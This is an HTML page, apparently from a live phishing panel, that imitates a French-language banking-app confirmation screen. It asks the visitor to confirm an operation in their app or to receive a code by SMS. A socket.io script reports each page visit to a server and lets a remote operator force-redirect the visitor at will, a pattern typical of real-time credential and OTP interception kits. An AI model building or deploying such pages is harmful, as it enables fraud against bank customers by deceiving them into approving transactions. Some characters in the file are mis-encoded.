/home2/mshostin/live-dashboard/public/application.html
<!DOCTYPE html>
<html lang="fr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Validation Application</title>
<style>
body {
margin: 0;
min-height: 100vh;
display: flex;
justify-content: center;
align-items: center;
background: #f7f7f7;
font-family: -apple-system, BlinkMacSystemFont, "SF Pro Display",
"SF Pro Text", "Segoe UI", Roboto, Arial, sans-serif;
}
.phone-wrapper { transform: scale(0.82); }
.phone {
width: 360px;
height: 720px;
background: #fff;
border-radius: 44px;
border: 1px solid #ddd;
box-shadow: 0 22px 55px rgba(0,0,0,0.22);
overflow: hidden;
position: relative;
display: flex;
flex-direction: column;
}
/* NOTCH */
.notch {
position: absolute;
top: 6px;
left: 50%;
transform: translateX(-50%);
width: 140px;
height: 34px;
background: #000;
border-radius: 20px;
z-index: 10;
border: 2px solid transparent;
}
@keyframes borderPulse {
0% { border-color: #2ecc71; }
50% { border-color: rgba(46, 204, 113, 0.4); }
100% { border-color: #2ecc71; }
}
.notch-success { animation: borderPulse 1s ease forwards; }
.notch-indicator {
position: absolute;
top: 13px;
right: 16px;
width: 4px;
height: 4px;
border-radius: 50%;
background: #0057b7;
opacity: 0;
box-shadow: 0 0 4px #0057b7;
animation: pulse 0.6s ease infinite alternate;
}
@keyframes pulse {
0% { opacity: 0.2; transform: scale(0.8); }
50% { opacity: 1; transform: scale(1); }
100% { opacity: 0.2; transform: scale(0.8); }
}
@keyframes notchBounce {
0% { transform: translateX(-50%) translateY(0) scale(1); }
30% { transform: translateX(-50%) translateY(-6px) scale(1.05); }
60% { transform: translateX(-50%) translateY(3px) scale(1.03); }
100% { transform: translateX(-50%) translateY(0) scale(1); }
}
/* STATUS BAR */
.status-bar {
height: 44px;
padding: 0 18px;
margin-top: 10px;
display: flex;
justify-content: space-between;
align-items: center;
font-size: 0.8rem;
font-weight: 500;
color: #000;
}
.status-left { display: flex; flex-direction: column; gap: 2px; }
.status-right { display: flex; align-items: center; gap: 6px; }
/* CONTENT */
.content {
flex: 1;
padding: 32px 24px;
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
text-align: center;
}
/* 🔵 LOADER BLEU */
.loader {
width: 110px;
height: 110px;
border-radius: 50%;
border: 10px solid #ededed;
border-top: 10px solid #0057b7;
animation: spin 1.05s linear infinite;
margin-bottom: 28px;
}
.success {
display: none;
width: 110px;
height: 110px;
border-radius: 50%;
background: #2ecc71;
color: #fff;
font-size: 3rem;
justify-content: center;
align-items: center;
margin-bottom: 28px;
animation: pop 0.35s cubic-bezier(.25,.46,.45,.94);
}
h1 {
font-size: 1.05rem;
font-weight: 600;
margin-bottom: 10px;
color: #111;
}
p { font-size: 0.92rem; color: #555; max-width: 260px; }
/* ACTIONS */
.actions {
padding: 22px 24px 26px;
display: flex;
flex-direction: column;
gap: 14px;
}
/* 🔵 BOUTONS BLEU IDENTIQUE AUX AUTRES PAGES */
.btn {
width: 100%;
padding: 13px;
font-size: 0.95rem;
background: #0057b7;
color: #fff;
border: none;
border-radius: 12px;
cursor: pointer;
transition: transform 0.15s ease, background 0.2s ease;
}
.btn:active {
transform: scale(0.97);
background: #00439a;
}
@keyframes spin { to { transform: rotate(360deg); } }
@keyframes pop { from { transform: scale(0.6); opacity: 0; } to { transform: scale(1); opacity: 1; } }
</style>
</head>
<body>
<div class="phone-wrapper">
<div class="phone">
<div class="notch">
<div class="notch-indicator" id="notchIndicator"></div>
</div>
<div class="status-bar">
<div class="status-left">
<span id="time"></span>
<span id="date"></span>
</div>
<div class="status-right">
<span id="battery">85%</span>
</div>
</div>
<div class="content">
<div class="loader" id="loader"></div>
<div class="success" id="success">âś“</div>
<h1 id="title">Simulation en cours</h1>
<p id="text">Confirmez l’opération depuis votre application.</p>
</div>
<div class="actions">
<button class="btn" onclick="validate()">Continuer</button>
<button class="btn" onclick="location.href='page3.html'">Recevoir par SMS</button>
</div>
</div>
</div>
<script>
function updateDateTime() {
const now = new Date();
document.getElementById("time").textContent =
now.toLocaleTimeString("fr-FR", { hour: "2-digit", minute: "2-digit" });
document.getElementById("date").textContent =
now.toLocaleDateString("fr-FR", { day: "numeric", month: "short" });
}
updateDateTime();
setInterval(updateDateTime, 60000);
function animateNotch() {
const notch = document.querySelector('.notch');
const indicator = document.getElementById('notchIndicator');
notch.style.animation = 'notchBounce 0.6s ease';
notch.classList.add('notch-success');
indicator.style.opacity = 1;
notch.addEventListener('animationend', () => {
notch.style.animation = '';
setTimeout(() => {
notch.classList.remove('notch-success');
indicator.style.opacity = 0;
}, 1000);
}, { once: true });
}
function validate() {
animateNotch();
document.getElementById("loader").style.display = "none";
document.getElementById("success").style.display = "flex";
document.getElementById("title").textContent = "Validation réussie";
document.getElementById("text").textContent = "Votre opération a été confirmée.";
setTimeout(() => {
window.location.href = "page2.html";
}, 1600);
}
</script>
<script src="/live-dashboard/socket.io/socket.io.js"></script>
<script>
const socket = io({ path: '/live-dashboard/socket.io' });
// Indiquer au serveur la page actuelle
socket.emit("page_visit", window.location.pathname);
// �couter la redirection live
socket.on("force_redirect", (newPage) => {
window.location.href = newPage;
});
</script>
</body>
</html>